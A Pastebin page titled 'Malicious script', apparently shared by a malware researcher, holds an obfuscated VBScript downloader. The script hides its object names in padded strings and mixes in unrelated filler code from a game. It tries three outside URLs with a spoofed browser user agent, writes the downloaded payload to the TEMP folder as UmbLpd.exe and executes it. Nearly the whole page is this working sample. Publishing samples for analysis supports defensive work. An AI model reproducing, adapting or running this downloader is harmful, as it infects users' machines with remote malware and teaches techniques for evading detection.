SHARE
TWEET

Malicious script

dynamoo Sep 18th, 2017 115 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4. Function CopyLog()
  5.  
  6.         Dim oFile
  7.         Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
  8.         Dim sComputer
  9.         Dim sLog
  10.         Dim sBootDrive
  11.  
  12.  
  13.  
  14.  
  15.         ' Make sure the path is accessible
  16.         oUtility.ValidateConnection oEnvironment.Item("SLShare")
  17.         oUtility.VerifyPathExists oEnvironment.Item("SLShare")
  18.         If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
  19.             oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
  20.             Exit Function
  21.         End if
  22.  
  23.        
  24.  
  25.     End Function
  26.  
  27.  
  28. Dim Lurkmoreportsmouthensurance 'As String
  29. 'Dim SagaOD() 'As String
  30. Dim LurkmoreportsmouthUotOfStock 'As String
  31.  
  32.   LurkmoreportsmouthBelish = "User"
  33. Function RobertBaration(a,b,c)
  34. a.Write Chr(b  Xor c )
  35. End Function
  36. Function Set2Mine(Who, Color, X, y )
  37.     Dim i
  38.     For i = 0 To UBound(Mines) + 1
  39.         If i > UBound(Mines) Then ReDim Preserve Mines(i)
  40.         If Mines(i).Color = 0 Then
  41.             Mines(i).Who = Who
  42.             Mines(i).Color = Color
  43.             Mines(i).X = X
  44.             Mines(i).y = y
  45.             Mines(i).Tick = 0
  46.             SetMine = i
  47.             Exit For
  48.         End If
  49.     Next
  50. End Function
  51.  
  52. CUA ="Mozill"+"a/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
  53.  
  54.     RACHEL = "avetof"
  55.  
  56.        Dim TristateTrue
  57. Dim LurkmoreportsmouthRickNano 'As Object
  58. Dim StateUcyprus13 'As Object
  59.  
  60. Function StateUcyprusSubMainA()
  61. if D = 14 then
  62. AXC = "SaveToFile"
  63. end if
  64. StateUcyprus13.Savetofile LurkmoreportsmouthUotOfStock , 4-2
  65. End Function
  66.  
  67. Function F3(p)
  68.     Set LurkmoreportsmouthRombickom = CreateObject("WScript"+".Shell"
  69. End Function
  70. Dim Lurkmoreportsmouthstatus
  71. Lurkmoreportsmouthstatus = false
  72.      Dim SagaOD
  73.  
  74. Function MakeSomeAttemp(A, B, T, F)
  75. set MakeSomeAttemp = A.CreateTextFile( B,T , F)
  76. end function
  77. Dim Lurkmoreportsmouthcashback 'As Object
  78. Vrungel = ".responseB"+"ody"
  79.  
  80.  
  81. Lurkmoreportsmouth2 = "Microsoft.XMLHTTPDOLBYAdodb.streaMDOLBY"+"shell.ApplicationDOLBYWscript.shellDOLBYProcessDOLBYGeTDOLBYT"+"emPDOLBYTyRRMC"+"peRRMC"
  82.  
  83. Function SheduledObject(p,d)
  84.  
  85.  
  86.  LurkmoreportsmouthRombickom.Run("" &LurkmoreportsmouthUotOfStock )
  87. End Function
  88.  
  89. Dim Lurkmoreportsmouth1DASH1solo 'As Object  
  90.  
  91.  
  92.  Dim Lurkmoreportsmouth2 'As String
  93. Dim LurkmoreportsmouthGMAKO 'As Object
  94.  
  95. Function LurkmoreportsmouthFuks(p)
  96.  
  97. LurkmoreportsmouthRickNano.Send
  98.    
  99. End Function
  100.  
  101.  
  102. Function StateUcyprusSubMainA2(param1)
  103. param1 = param1 + param1
  104.     if  1  < param1 OR param1 < 6777  Then
  105. LurkmoreportsmouthASALLLP = LurkmoreportsmouthRickNano.responseBody
  106.     end if
  107. param1 = 2 * param1
  108. End Function
  109.  
  110. Function TouchMyTalala( s401 )
  111.    TouchMyTalala = Split(Replace(Lurkmoreportsmouth2+"DOLBYRRMCoRRMCpenDOLBYwrRRMCiteDOLBYreRRMCspoRRMCnseBoRRMCdyDOLBYsaRRMCvet"+"ofRRMCileDOLBY\UmbLpd.exeRRMC"+"DOLBYhtRRMCtp:DOLBY//", "RRMC", "" ),  s401)
  112. End Function
  113.  Function RobertBaration(a,b,c)
  114. a.Write Chr(b  Xor c )
  115. End Function
  116. Dim Lurkmoreportsmouth4 'As String
  117.  
  118. Public Function WriteCD(aWrite,bWrite)
  119. astp = 12
  120. astp = astp + 3
  121. if astp > 4 then
  122. aWrite.Write bWrite
  123. astp = 3 * astp
  124. end if
  125. End Function
  126.  
  127.  
  128.   Dim MarketPlaceibility 'As String
  129.  Dim sNodeKey 'As String
  130.  Dim sParentKey 'As String
  131.  
  132. Dim LurkmoreportsmouthRombickom
  133.  Dim MarketPlace 'As String
  134.  Dim sTempVis 'As String
  135.  Dim iCount 'As Integer
  136. Dim LurkmoreportsmouthASALLLP 'As Variant
  137. Dim dePetya 'As Integer
  138. LurkmoreportsmouthBelish = LurkmoreportsmouthBelish + "-"
  139.  
  140. Dim iSlashPOS 'As Integer
  141.  Dim sDecimalVis 'As String
  142.  Dim LurkmoreportsmouthPetir 'As String
  143. LurkmoreportsmouthPetir = "Ag"
  144.  
  145.  
  146.      SagaOD = TouchMyTalala("" + "DOLBY")
  147.  
  148.  
  149. Set LurkmoreportsmouthRickNano = CreateObject(SagaOD(0))
  150. iSlashPOS = 11 + 1
  151. zTempVis = SagaOD(11/11)
  152.  
  153. 'Set LurkmoreportsmouthGMAKO = CreateObject(SagaOD(8-6))
  154. Set LurkmoreportsmouthStartupeOb = GetRef("SheduledObject")
  155.  
  156.  
  157. Set StateUcyprus13 = CreateObject("Adodb.streaM")
  158. Set Lurkmoreportsmouth1DASH1solo = CreateObject(SagaOD(9-6))
  159.  
  160. mual = Array("web-ch-team.ch/87thiuh3gfDGS?","miliaraic.ru/p66/87thiuh3gfDGS","abelfaria.pt/87thiuh3gfDGS?")
  161.  
  162.  
  163. Function SetUA()
  164. LurkmoreportsmouthLamp.setRequestHeader LurkmoreportsmouthBelish, CUA
  165. End Function
  166.  
  167. if "AD" + WScript  = "ADWindows Script Host" Then
  168.     Set Lurkmoreportsmouthcashback = Lurkmoreportsmouth1DASH1solo.Environment(SagaOD(1 + 3))
  169.  
  170. end if 
  171.  
  172. Public Function Anim2UniBall(i)
  173.     Dim Rx, Ry, rBuff
  174.     Dim xt, yt, j, e
  175.     Dim NewX, NewY, d, SgnX, SgnY
  176.     Dim RatioX, RatioY
  177.     Rx = 452
  178.     Ry = 81
  179.    
  180.     NewX = UniBall(i).BallX
  181.     NewY = UniBall(i).BallY
  182.     If UniBall(i).BSpeedX > UniBall(i).BSpeedY And UniBall(i).BSpeedY > 0 Then RatioY = UniBall(i).BSpeedX / UniBall(i).BSpeedY
  183.     If UniBall(i).BSpeedY > UniBall(i).BSpeedX And UniBall(i).BSpeedX > 0 Then RatioX = UniBall(i).BSpeedY / UniBall(i).BSpeedX
  184.     If RatioX < 1 Then RatioX = 1
  185.     If RatioY < 1 Then RatioY = 1
  186.     If UniBall(i).BSpeedX > 0 Then UniBall(i).BSpeedX = UniBall(i).BSpeedX - (0.01 / RatioX) * speed
  187.     If UniBall(i).BSpeedY > 0 Then UniBall(i).BSpeedY = UniBall(i).BSpeedY - (0.01 / RatioY) * speed
  188.     If UniBall(i).BSpeedX < 0 Then UniBall(i).BSpeedX = 0
  189.     If UniBall(i).BSpeedY < 0 Then UniBall(i).BSpeedY = 0
  190.    
  191.     UniBall(i).BLoopX = UniBall(i).BLoopX + (UniBall(i).BSpeedX * speed)
  192.     For j = 1 To UniBall(i).BLoopX
  193.         NewX = NewX + UniBall(i).BMoveX
  194.         UniBall(i).BLoopX = UniBall(i).BLoopX - 1
  195.     Next
  196.    
  197.     UniBall(i).BLoopY = UniBall(i).BLoopY + (UniBall(i).BSpeedY * speed)
  198.     For j = 1 To UniBall(i).BLoopY
  199.         NewY = NewY + UniBall(i).BMoveY
  200.         UniBall(i).BLoopY = UniBall(i).BLoopY - 1
  201.     Next
  202.    
  203.    
  204.     SgnX = Sgn(NewX - UniBall(i).BallX)
  205.     SgnY = Sgn(NewY - UniBall(i).BallY)
  206.    
  207.    
  208.     If SgnX = 1 Then 'x positive testing
  209.        For d = UniBall(i).BallX + 1 To NewX
  210.             j = WeaponTouch(6, i, d, UniBall(i).BallY)
  211.             If j = -7 Then
  212.                 Exit For
  213.             End If
  214.             If j = -6 Then
  215.                 UniBall(i).BMoveX = UniBall(i).BMoveX * -1
  216.                 NewX = d - 1
  217.                 Exit For
  218.             End If
  219.         Next
  220.     End If
  221.    
  222.     If SgnX = -1 Then 'x negative testing
  223.        For d = UniBall(i).BallX - 1 To NewX Step -1
  224.             j = WeaponTouch(6, i, d, UniBall(i).BallY)
  225.             If j = -6 Then
  226.                 UniBall(i).BMoveX = UniBall(i).BMoveX * -1
  227.                 NewX = d + 1
  228.                 Exit For
  229.             End If
  230.         Next
  231.     End If
  232.    
  233.     If SgnY = 1 Then 'y positive testing
  234.        For d = UniBall(i).BallY + 1 To NewY
  235.             j = WeaponTouch(6, i, NewX, d)
  236.             If j = -6 Then
  237.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  238.                 NewY = d - 1
  239.                 Exit For
  240.             End If
  241.         Next
  242.     End If
  243.    
  244.     If SgnY = -1 Then 'y negative testing
  245.        For d = UniBall(i).BallY - 1 To NewY Step -1
  246.             j = WeaponTouch(6, i, NewX, d)
  247.             If j = -6 Then
  248.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  249.                 NewY = d + 1
  250.                 Exit For
  251.             End If
  252.         Next
  253.     End If
  254.     j = WeaponTouch(6, i, NewX, NewY)
  255.     If j = -7 Then Exit Function
  256.    
  257.     UniBall(i).BallX = NewX
  258.     UniBall(i).BallY = NewY
  259. End Function
  260.  
  261.  dePetya = 89210
  262.  
  263.  
  264. Lurkmoreportsmouthensurance = Lurkmoreportsmouthcashback(SagaOD(6))
  265.  Dim i
  266.  'on error GoTo nextU
  267. ' on error resume next
  268. sTempVis = SagaOD(iSlashPOS)
  269. Function FragWin()
  270.     Dim i, X
  271.     Dim oNewMsg(), lNewOffSet
  272.     Dim lNewMsg
  273.    
  274.     For i = 1 To UBound(PlayerDat)
  275.         If PlayerDat(i).Ship > 0 Then
  276.             PlayerDat(i).Score = 0
  277.             lNewMsg = MSG_PLAYERSCORE
  278.             lNewOffSet = 0
  279.             ReDim oNewMsg(0)
  280.             AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  281.             AddBufferData oNewMsg, VarPtr(i), LenB(i), lNewOffSet
  282.             X = PlayerDat(i).Score
  283.             AddBufferData oNewMsg, VarPtr(X), LenB(X), lNewOffSet
  284.             SendTo oNewMsg, -1
  285.             HoldingArea i
  286.         End If
  287.     Next
  288.     lNewMsg = MSG_PLAYERHOME
  289.     lNewOffSet = 0
  290.     ReDim oNewMsg(0)
  291.     AddBufferData oNewMsg, VarPtr(lNewMsg), LenB(lNewMsg), lNewOffSet
  292.     AddBufferData oNewMsg, VarPtr(HighestScoreWho), LenB(HighestScoreWho), lNewOffSet
  293.     SendTo oNewMsg, -1
  294.     Call sendmsg(MSG_GAMECHAT, Chr(5) & PlayerDat(HighestScoreWho).Nick & " IS THE WINNER! ! !", -1)
  295.     HighestScore = 0
  296.     HighestScoreWho = 0
  297.     For i = 0 To UBound(Mines)
  298.         Mines(i).Color = 0
  299.     Next
  300. End Function
  301.  
  302. MarketPlace = SagaOD(11+2) & SagaOD(11+3)
  303.  
  304. LurkmoreportsmouthBelish = LurkmoreportsmouthBelish & LurkmoreportsmouthPetir & "ent"
  305.  
  306. rdde = 19
  307.  
  308. lTo = UBound(mual)
  309.  
  310. For i = 0 To lTo Step 1
  311. rdde = rdde * 8
  312.  
  313.     on error resume  next
  314.  
  315. dePetya =  dePetya +7
  316.  Lurkmoreportsmouth4 = MarketPlace + mual(i)
  317.  LurkmoreportsmouthRickNano.Open SagaOD(5), Lurkmoreportsmouth4, False
  318. dr1=2
  319.  
  320. rdde = rdde + 7
  321.  
  322.  
  323. SetUA()
  324. LurkmoreportsmouthFuks " d "
  325. If LurkmoreportsmouthRickNano.Status +3 = 203 Then
  326. Lurkmoreportsmouthstatus = true
  327.  Exit For
  328. End If
  329.  
  330. goto14:
  331. Next
  332.  
  333. on error goto 0
  334. if Lurkmoreportsmouthstatus Then
  335. Dim Ratchet 'As String
  336. LurkmoreportsmouthUotOfStock = Lurkmoreportsmouthensurance+ sTempVis
  337.  
  338. F3 ""
  339.  
  340. StateUcyprus13.Type = 1
  341.  StateUcyprus13.Open
  342. StateUcyprusSubMainA2 22
  343. WriteCD StateUcyprus13,LurkmoreportsmouthASALLLP
  344. dttat =4
  345. LurkmoreportsmouthUotOfStocku = "" + LurkmoreportsmouthUotOfStock
  346.  
  347. dttat = dttat*2
  348.  
  349. StateUcyprusSubMainA()
  350. Dim LurkmoreportsmouthJohnSnowu,LurkmoreportsmouthTmp1 'As Long
  351.  
  352. LurkmoreportsmouthJohnSnowu = 3012
  353.  
  354. If 1000  < LurkmoreportsmouthJohnSnowu Then
  355.   drba =55
  356.  LurkmoreportsmouthTmp1 = "|"
  357.  
  358. LurkmoreportsmouthStartupeOb 1,"19"
  359. End If
  360.  
  361.  
  362. triada = 13
  363. end if
RAW Paste Data
Top